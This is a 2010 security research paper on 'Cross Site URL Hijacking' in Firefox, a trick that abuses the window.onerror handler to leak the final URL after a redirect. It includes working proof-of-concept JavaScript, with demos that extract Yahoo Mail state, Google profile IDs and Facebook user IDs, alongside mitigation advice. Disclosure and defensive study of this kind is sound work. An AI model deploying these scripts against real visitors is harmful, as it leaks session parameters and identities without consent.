2010

Cross Site URL Hijacking by using Error Object in Mozilla Firefox

By:

Soroush Dalili

Author: **Soroush Dalili**

Homepage: **Soroush.SecProject.com**

Email: **IRSDL {at} Yahoo {dot} com**

Date: **May 2010**

Table of Contents

Introduction:

In this paper, I want to represent a method for performing Cross Site URL Hijacking (which we can call XSUH) by using the error object of Mozilla Firefox. XSUH attack is used to steal another website URL. This URL can show the client's situation on that website, and it can contain confidential parameters such as session ID as well. There is another useful article with a similar purpose but with a different approach which is "XSHM" article of CHECKMARX[1], and reading this article is highly recommended to you as well.

As you might know, scripts error handling in Mozilla Firefox is quite useful for the developers as it can show the exact source of an error with some useful information. Now, this functionality can be misused to divulge the destination URL after the redirections (XSUH attack) which can lead to condition leakage or stealing some important parameters from the URL.

Condition Leakage:

If a webpage follows this logic:

```
Page A:  IF(Condition1)
                 Redirect(Page B)
         IF(Condition2)
                 Redirect(Page C)
         ...
```

By using this technique it is possible to find out the user condition since we can find the destination page.

As an example:

Assume that in "http://SampleSite.com/admin.asp" we have:

1- If a user is not logged-in, it redirects to the login page.
2- If a user is not the administrator, it redirects to the access denied page.
3- If a user is the administrator, it shows the admin menu.

Now, if an attacker uses this URL in his/her website, by using XSUH technique, he/she can find out the user's state in "SampleSite.com" to continue any further attack.

[1] http://www.checkmarx.com/Upload/Documents/PDF/XSHM%20Cross%20site%20history%20manipulation.pdf

URL Important Parameters Hijacking:

If a webpage follows this logic:

Page A: Redirect(Page B with an important parameter)

Unfortunately, this important parameter can be divulged by using this technique.

As an example:

Assume that “http:// SampleSite.com/chatroom.asp” redirects user to:

“http://LiveChatRoom.SampleSite.com/?sid=USER_Session_ID&u=Username”

In this case, an attacker can hijack the users’ session IDs and their usernames by using this XSUH technique.

Exploitation Method:

First we need to modify “window.onerror” object in order to grab all the errors. Then, we use a “script” tag and point it to a non-JavaScript page (“destination page”) in order to produce an error. Source of this error would be the final page of the “destination page” after the redirections.

The following code shows a Proof of Concept for this technique:

```
<script>
var destinationPage = 'http://SampleRedirectPage.com'; // Change it to your destination
window.onerror=fnErrorTrap;
function fnErrorTrap(sMsg,sUrl,sLine){
   alert('Source address was: ' + destinationPage +
         '\n\nDestination URL is: ' + sUrl +
         '\n\nBy Soroush Dalili - soroush.SecProject.com');
   return false;
}
document.write('<script src="'+destinationPage+'"><\/script>');
</script>
```

Limitation and Solution:

There is also a limitation in this XSUH technique. In case of being redirected by using the HTML/Script tags instead of using the header status, it is not possible to hijack the full URL with all the parameters. However, it is still possible to find out the domain address by producing a “Permission denied” error:

```
<script>
var destinationPage = 'http://SampleRedirectPage.com';
```

```
// Change it to your destination
window.onerror=fnErrorTrap;
function fnErrorTrap(sMsg,sUrl,sLine){
   alert('Source address was: ' + destinationPage +
         '\n\nDestination URL is: ' + sMsg.substring(sMsg.lastIndexOf('<')+1,sMsg.lastIndexOf('>')) +
         '\n\nBy Soroush Dalili - soroush.SecProject.com');
   return false;
}
function runme(){
     document.getElementById('myframe').contentWindow.document
}
document.write('<iframe id="myframe" name="myframe" src="'+destinationPage+'" style="visibility:hidden" onload="runme()"><\/iframe>');
</script>
```

Finding Vulnerable Pages and Protection Methods:

Although this exploitation technique is based on a Mozilla Firefox issue, there might be some other techniques that perform the same attack.

Cross Site URL Hijacking risk can be mitigated by using safe redirections. In order to find the risks, all the redirection points should be checked:

- Important information such as session IDs, credentials data, and so on should not be sent through the URL (by using "GET" method).
- Using "POST" method and JavaScript in order to send the confidential information to another destination.
- Using AJAX technology to send/receive the application messages if it is possible in order to show the proper pages to the user.
- Having "frame breaker" in all HTML pages can reduce the risk of simple exploitation by using the Frame objects.

Some Useful Examples:

1. Which Version of Yahoo Mail Are You Currently Using?

It is possible to use this XSUH technique to answer this question!

Proof of Concept:

PoC Link: http://0me.me/demo/XSUH/XSUH_demo_firefox_all_in_1.html

HTML/JavaScript Code:

```
<script>
var destinationPage = 'http://mail.yahoo.com/'; // Change it
to your destination
window.onerror=fnErrorTrap;
function fnErrorTrap(sMsg,sUrl,sLine){
     if(sUrl.indexOf('/dc/')>0)
          alert('You are using new version of Yahoo Mail!');
     else if(sUrl.indexOf('/mc/')>0)
          alert('You are using old version of Yahoo Mail!');
     else
          alert('You are not logged-in in Yahoo Mail!');
     alert('Demo By Soroush Dalili (IRSDL) - www.soroush.me
- www.sdl.me');
   return false;
}
document.write('<script
src="'+destinationPage+'"><\/script>');
</script>
```

2. What Is Your Profile ID in Google.com?

Are you logged-in in Google.com? Do you have any profile ID? We want to answer to these questions now!

Proof of Concept:

PoC Link: http://0me.me/demo/XSUH/XSUH_demo_firefox_all_in_1.html

HTML/JavaScript Code:

```
<script>
var destinationPage = 'http://www.google.com/profiles/me';
// Change it to your destination
window.onerror=fnErrorTrap;
function fnErrorTrap(sMsg,sUrl,sLine){
     if(sUrl.indexOf('/ServiceLogin')>0)
          alert('You Are Not Logged-in in Google.com!');
     else if(sUrl.indexOf('/editprofile')>0)
          alert('You Are Logged-in in Google.com But You Do
Not Have Any Profile!');
     else if(sUrl.indexOf('/profiles/')>0)
          alert('Your Profile ID In Google.com Is:
'+sUrl.substring(sUrl.lastIndexOf('/')+1));
     else
          alert('You Are Logged-in in Google But I Cannot
Find Your Profile ID!!!');
```

```
	alert('Demo By Soroush Dalili (IRSDL) - www.soroush.me
- www.sdl.me');
	return false;
}
document.write('<script
src="'+destinationPage+'"><\/script>');
</script>
```

3. What Is Your Facebook User ID If You Play Farmville?

We want to detect if a user is logged-in in Facebook and use Farmville application. Then it is possible to detect the user's Facebook ID.

Proof of Concept:

PoC Link: http://0me.me/demo/XSUH/XSUH_demo_firefox_all_in_1.html

HTML/JavaScript Code:

```
<script>
var destinationPage =
'http://www.facebook.com/login.php?return_session=1&nochrome
=1&fbconnect=1&extern=2&display=popup&api_key=80c6ec6628efd9
a465dd223190a65bbc&v=1.0&next=http://www.farmville.com/xd_re
ceiver.htm'; // Change it to your destination
window.onerror=fnErrorTrap;
function fnErrorTrap(sMsg,sUrl,sLine){
	sUrl = unescape(sUrl);
	if(sUrl.indexOf('login.php')>0)
		alert('You Are Not Logged-in in Facebook!');
	else if(sUrl.indexOf('tos.php')>0)
		alert('WoW! You Do Not Play Farmville?!!');
	else if(sUrl.indexOf('xd_receiver.htm')>0)
	{
		var temp = sUrl.substring(sUrl.indexOf('uid":'));
		alert('Your Facebook User ID Is:
'+temp.substring(5,temp.indexOf(',')));
	}
	else
		alert('I Cannot Get The Point!');
	alert('Demo By Soroush Dalili (IRSDL) - www.soroush.me
- www.sdl.me');
	return false;
}
document.write('<script
src="'+destinationPage+'"><\/script>');
</script>
```

Additional Information:

This technique has been tested on Mozilla Firefox 3.6.3, 3.5.9, 3.6.4build5 (26th May 2010).

References:

- http://www.owasp.org/index.php/Cross_Site_History_Manipulation_(XSHM)
- Cross site history manipulation (XSHM) Guide